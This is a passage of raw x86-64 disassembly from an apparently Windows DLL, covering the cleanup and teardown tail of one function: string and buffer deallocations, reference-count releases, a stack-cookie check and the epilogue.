mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0x1e8]
mov qword [rbp + 0x1c0], r15
mov qword [rbp + 0x1c8], 0xf
mov byte [rbp + 0x1b0], r15b
cmp rdx, 0x10
jb 0x18009cc2f
mov rcx, qword [rbp + 0x1d0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cc2a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0x88]
mov qword [rbp + 0x1e0], r15
mov qword [rbp + 0x1e8], 0xf
mov byte [rbp + 0x1d0], r15b
cmp rdx, 0x10
jb 0x18009cc86
mov rcx, qword [rbp + 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cc81
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0xa8]
mov qword [rbp + 0x80], r15
mov qword [rbp + 0x88], 0xf
mov byte [rbp + 0x70], r15b
cmp rdx, 0x10
jb 0x18009ccdd
mov rcx, qword [rbp + 0x90]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ccd8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0xc8]
mov qword [rbp + 0xa0], r15
mov qword [rbp + 0xa8], 0xf
mov byte [rbp + 0x90], r15b
cmp rdx, 0x10
jb 0x18009cd37
mov rcx, qword [rbp + 0xb0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd32
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0xe8]
mov qword [rbp + 0xc0], r15
mov qword [rbp + 0xc8], 0xf
mov byte [rbp + 0xb0], r15b
cmp rdx, 0x10
jb 0x18009cd91
mov rcx, qword [rbp + 0xd0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cd8c
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp + 0x108]
mov qword [rbp + 0xe0], r15
mov qword [rbp + 0xe8], 0xf
mov byte [rbp + 0xd0], r15b
cmp rdx, 0x10
jb 0x18009cdeb
mov rcx, qword [rbp + 0xf0]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cde6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
mov rdx, qword [rbp - 0x80]
mov qword [rbp + 0x100], r15
mov qword [rbp + 0x108], 0xf
mov byte [rbp + 0xf0], r15b
cmp rdx, 0x10
jb 0x18009ce40
mov rcx, qword [rsp + 0x68]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009ce3b
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d292
call fcn.1800caa30
xor r8d, r8d
lea rdx, [0x1801080b0]
lea rcx, [rbp + 0x330]
call fcn.1800bdba0
xor r8d, r8d
lea rdx, [0x1801080b0]
lea rcx, [rbp + 0x370]
call fcn.1800bdba0
xor r8d, r8d
lea rdx, [0x1801080b0]
lea rcx, [rbp + 0x350]
call fcn.1800bdba0
mov r12, qword [rbp + 0x308]
mov r13, qword [rbp + 0x300]
inc dword [0x180129a3c]
movabs rsi, 0x2aaaaaaaaaaaaaab
mov r8, qword [rbp + 0x3a0]
mov rax, rsi
mov rcx, qword [rbp + 0x3a8]
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
lea rax, [rbp + 0x3e8]
cmovne rax, r8
mov rcx, qword [rax]
lea rax, [rbp + 0x3e8]
sub rcx, qword [rbp + 0x390]
test rdx, rdx
cmovne rax, r8
cmp byte [rax + 0x10], r15b
je 0x18009cef7
movups xmm0, xmmword [rax]
movups xmmword [rbp + 0x60], xmm0
jmp 0x18009ceff
xorps xmm0, xmm0
movdqu xmmword [rbp + 0x60], xmm0
sub rcx, qword [rbp + 0x60]
add rcx, qword [rbp + 0x68]
mov rdx, qword [rbp + 0x328]
add rbx, rcx
mov rax, qword [rbp + 0x310]
mov r15, qword [rbp + 0x348]
mov rsi, qword [rbp + 0x388]
mov rdi, qword [rbp + 0x368]
jmp 0x18009bd50
call qword [0x1801299c8]
cmp rdi, 0x10
jb 0x18009cf73
mov rcx, qword [rbp + 0x350]
lea rdx, [rdi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cf6e
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d298
call fcn.1800caa30
cmp rsi, 0x10
jb 0x18009cfae
mov rcx, qword [rbp + 0x370]
lea rdx, [rsi + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cfa9
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d298
call fcn.1800caa30
cmp r15, 0x10
jb 0x18009cfe9
mov rcx, qword [rbp + 0x330]
lea rdx, [r15 + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009cfe4
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d298
call fcn.1800caa30
mov r8, qword [rbp + 0x3a0]
test r8, r8
je 0x18009d065
mov rcx, qword [rbp + 0x3b0]
movabs rax, 0x2aaaaaaaaaaaaaab
sub rcx, r8
imul rcx
sar rdx, 2
mov rax, rdx
shr rax, 0x3f
add rdx, rax
mov rax, r8
lea rdx, [rdx + rdx*2]
shl rdx, 3
cmp rdx, 0x1000
jb 0x18009d047
mov r8, qword [r8 - 8]
add rdx, 0x27
sub rax, r8
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d298
mov rcx, r8
call fcn.1800caa30
xorps xmm0, xmm0
xor esi, esi
movdqa xmmword [rbp + 0x3a0], xmm0
mov qword [rbp + 0x3b0], rsi
jmp 0x18009d067
xor esi, esi
mov rcx, qword [rbp + 0x400]
mov rdi, 0xffffffffffffffff
test rcx, rcx
je 0x18009d0ae
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d0ae
mov rbx, qword [rbp + 0x400]
test rbx, rbx
je 0x18009d0ae
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d092
mov rcx, qword [rbp + 0x420]
mov qword [rbp + 0x400], rsi
test rcx, rcx
je 0x18009d0da
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d0da
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rcx, qword [rbp + 0x428]
test rcx, rcx
je 0x18009d11a
mov eax, edi
lock xadd dword [rcx + 0x2c], eax
cmp eax, 1
jne 0x18009d11a
mov rbx, qword [rbp + 0x428]
test rbx, rbx
je 0x18009d11a
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d0fe
mov rcx, qword [rbp + 0x448]
mov qword [rbp + 0x428], rsi
test rcx, rcx
je 0x18009d146
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d146
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov rax, qword [rbp + 0x450]
test rax, rax
je 0x18009d184
lock xadd dword [rax + 0x2c], edi
cmp edi, 1
jne 0x18009d184
mov rbx, qword [rbp + 0x450]
test rbx, rbx
je 0x18009d184
lea rax, [rbx + 0x10]
mov rcx, rbx
mov rbx, qword [rax]
mov edx, 1
mov qword [rax], rsi
mov rax, qword [rcx]
call qword [rax]
test rbx, rbx
jne 0x18009d168
mov rcx, qword [rbp + 0x470]
mov qword [rbp + 0x450], rsi
test rcx, rcx
je 0x18009d1b0
mov rax, qword [rcx]
call qword [rax + 0x10]
test rax, rax
je 0x18009d1b0
mov r8, qword [rax]
mov edx, 1
mov rcx, rax
call qword [r8]
mov r15, qword [rsp + 0x30]
mov rdx, qword [rbp + 0x328]
cmp rdx, 0x10
jb 0x18009d1f2
mov rcx, qword [rbp + 0x310]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x18009d1ed
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18009d25c
call fcn.1800caa30
mov rbx, qword [rsp + 0x58]
movups xmm0, xmmword [rbp + 0x2f0]
mov rcx, qword [rsp + 0x60]
movups xmm1, xmmword [rbp + 0x300]
movups xmmword [rbx], xmm0
movups xmmword [rbx + 0x10], xmm1
call fcn.1800bd3f0
mov rcx, r15
call fcn.1800bd3f0
mov rcx, r14
call fcn.1800bd3f0
movaps xmm6, xmmword [rsp + 0x590]
movaps xmm7, xmmword [rsp + 0x580]
mov rax, rbx
mov rcx, qword [rbp + 0x478]
xor rcx, rsp
call fcn.1800ca770
add rsp, 0x5a8
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
pop rbp
ret
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3
call fcn.1800d9c90
int3